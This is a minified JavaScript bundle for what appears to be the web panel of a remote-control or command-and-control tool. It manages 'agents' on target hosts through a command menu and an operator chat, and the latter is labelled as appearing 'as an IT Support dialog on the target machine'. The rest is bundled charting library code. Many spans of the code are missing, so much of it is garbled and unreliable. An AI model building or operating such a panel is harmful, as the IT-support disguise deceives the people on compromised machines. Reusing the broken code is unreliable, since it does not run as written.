h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var $;($=c.current)==null||$.focus()})},[n]),p.useEffect(()=>{if(!n)return;const $=L=>{l.current&&!l.current.contains(L.target)&&i()};return document.addEventListener("mousedown",$),()=>{document.removeEventListener("mousedown",$)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const O=p.useCallback(()=>{if(!u.current)return;const $=u.current;$.style.top="0px";const L=$.getBoundingClientRect(),W=window.innerHeight;if(L.bottom>W-8){const B=L.bottom-W+8;$.style.top=`${-B}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),p.useEffect(()=>{if(!n)return;const $=L=>{var B;const W=z;if(W.length!==0)switch(L.key){case"ArrowDown":{if(L.preventDefault(),j){const U=W.find(F=>F.label===d);U&&w(F=>F{const F=UF.label===d);U&&w(F=>F>0?F-1:U.commands.length-1)}else v(U=>{const F=U>0?U-1:W.length-1;return f(W[F].label),F});break}case"ArrowRight":case"Enter":{if(j&&L.key==="Enter"){L.preventDefault();const U=W.find(F=>F.label===d);U&&b>=0&&bdocument.removeEventListener("keydown",$)},[n,z,d,j,y,b,i]),!n)return null;const _=($,L)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f($),v(L),k(!1),w(-1)},60)},T=()=>{S.current&&clearTimeout(S.current)},P=$=>{N&&$.nav.action!=="remove"&&$.nav.action!=="ban"||r($.key,$.nav)},R=m.x+200+220>window.innerWidth,V=$=>$===0?!1:z[$].group!==z[$-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${HA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${qA[a]}`,children:KA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Xt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:$=>{g($.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var $;g(""),($=c.current)==null||$.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map(($,L)=>s.jsxs(vh.Fragment,{children:[V(L)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>_($.label,L),onMouseLeave:T,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===$.label||y===L?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===$.label||y===L?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:$.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:$.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===$.label||y===L?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===$.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${R?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:$.label})}),$.commands.map((W,B)=>{const U=N&&W.nav.action!=="remove"&&W.nav.action!=="ban",F=UA.has(W.key)||W.nav.action==="remove",H=VA.has(W.key)||W.nav.action==="ban",G=WA.has(W.key),re=j&&b===B;return s.jsxs("button",{onClick:()=>P(W),disabled:U,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${F?re?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?re?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":U?"cursor-not-allowed text-zerin-text-muted":re?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:W.label}),G&&!U&&Xt.externalLink]},W.key)})]})]})]},$.label))]})]})})};function d5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(id),g=p.useCallback(async()=>{try{const v=et(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=et(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:GA(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function GA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const XA=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function f5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=n_(e,t_),f=a||{width:r,height:i,x:0,y:0},m=qe("recharts-surface",o);return p.createElement("svg",bm({},Mt(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),i_=["children","className"];function wm(){return wm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=a_(e,i_),a=qe("recharts-layer",r);return p.createElement("g",wm({className:a},Mt(i),{ref:t}),n)}),o_=p.createContext(null);function Te(e){return function(){return e}}const x5=Math.cos,Fc=Math.sin,Bn=Math.sqrt,Wc=Math.PI,ad=2*Wc,jm=Math.PI,km=2*jm,Ci=1e-6,l_=km-Ci;function v5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return v5;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;iCi)if(!(Math.abs(f*c-u*d)>Ci)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((jm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>Ci&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Ci||Math.abs(this._y1-d)>Ci)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%km+km),m>l_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>Ci&&this._append`A${r},${r},0,${+(m>=jm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function vx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new u_(t)}function gx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function g5(e){this._context=e}g5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function sd(e){return new g5(e)}function y5(e){return e[0]}function b5(e){return e[1]}function w5(e,t){var n=Te(!0),r=null,i=sd,a=null,o=vx(l);e=typeof e=="function"?e:e===void 0?y5:Te(e),t=typeof t=="function"?t:t===void 0?b5:Te(t);function l(c){var u,d=(c=gx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return w5().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Te(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Te(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Te(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Te(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Te(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Te(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Te(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class j5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function d_(e){return new j5(e,!0)}function f_(e){return new j5(e,!1)}const yx={draw(e,t){const n=Bn(t/Wc);e.moveTo(n,0),e.arc(0,0,n,0,ad)}},p_={draw(e,t){const n=Bn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},k5=Bn(1/3),m_=k5*2,h_={draw(e,t){const n=Bn(t/m_),r=n*k5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},x_={draw(e,t){const n=Bn(t),r=-n/2;e.rect(r,r,n,n)}},v_=.8908130915292852,N5=Fc(Wc/10)/Fc(7*Wc/10),g_=Fc(ad/10)*N5,y_=-x5(ad/10)*N5,b_={draw(e,t){const n=Bn(t*v_),r=g_*n,i=y_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=ad*a/5,l=x5(o),c=Fc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Hf=Bn(3),w_={draw(e,t){const n=-Bn(t/(Hf*3));e.moveTo(0,n*2),e.lineTo(-Hf*n,-n),e.lineTo(Hf*n,-n),e.closePath()}},un=-.5,dn=Bn(3)/2,Nm=1/Bn(12),j_=(Nm/2+1)*3,k_={draw(e,t){const n=Bn(t/j_),r=n/2,i=n*Nm,a=r,o=n*Nm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(un*r-dn*i,dn*r+un*i),e.lineTo(un*a-dn*o,dn*a+un*o),e.lineTo(un*l-dn*c,dn*l+un*c),e.lineTo(un*r+dn*i,un*i-dn*r),e.lineTo(un*a+dn*o,un*o-dn*a),e.lineTo(un*l+dn*c,un*c-dn*l),e.closePath()}};function N_(e,t){let n=null,r=vx(i);e=typeof e=="function"?e:Te(e||yx),t=typeof t=="function"?t:Te(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Te(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Te(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function Uc(){}function Vc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function S5(e){this._context=e}S5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Vc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function S_(e){return new S5(e)}function z5(e){this._context=e}z5.prototype={areaStart:Uc,areaEnd:Uc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function z_(e){return new z5(e)}function C5(e){this._context=e}C5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Vc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function C_(e){return new C5(e)}function P5(e){this._context=e}P5.prototype={areaStart:Uc,areaEnd:Uc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function P_(e){return new P5(e)}function Bg(e){return e<0?-1:1}function Fg(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(Bg(a)+Bg(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Wg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Kf(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Hc(e){this._context=e}Hc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Kf(this,this._t0,Wg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Kf(this,Wg(this,n=Fg(this,e,t)),n);break;default:Kf(this,this._t0,n=Fg(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function E5(e){this._context=new A5(e)}(E5.prototype=Object.create(Hc.prototype)).point=function(e,t){Hc.prototype.point.call(this,t,e)};function A5(e){this._context=e}A5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function E_(e){return new Hc(e)}function A_(e){return new E5(e)}function _5(e){this._context=e}_5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Ug(e),i=Ug(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function O_(e){return new od(e,.5)}function T_(e){return new od(e,0)}function M_(e){return new od(e,1)}function Xi(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function L_(e,t){return e[t]}function I_(e){const t=[];return t.key=e,t}function D_(){var e=Te([]),t=Sm,n=Xi,r=L_;function i(a){var o=Array.from(e.apply(this,arguments),I_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:W_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Ge(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+Gr(l)+a:i+a},"")}var Ft=e=>e===0?0:e>0?1:-1,er=e=>typeof e=="number"&&e!=+e,Zi=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,fe=e=>(typeof e=="number"||e instanceof Number)&&!er(e),br=e=>fe(e)||typeof e=="string",U_=0,So=e=>{var t=++U_;return"".concat(e||"").concat(t)},nn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!fe(t)&&typeof t!="string")return r;var a;if(Zi(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return er(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},M5=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):No(r,t))===n)}var St=e=>e===null||typeof e>"u",Ko=e=>St(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function Yn(e){return e!=null}function as(){}var V_=["type","size","sizeType"];function zm(){return zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Ko(e));return I5[t]||yx},Q_=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*X_;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},J_=(e,t)=>{I5["symbol".concat(Ko(e))]=t},D5=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=Y_(e,V_),a=Hg(Hg({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=Z_(o),h=N_().type(m).size(Q_(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=Mt(a);return 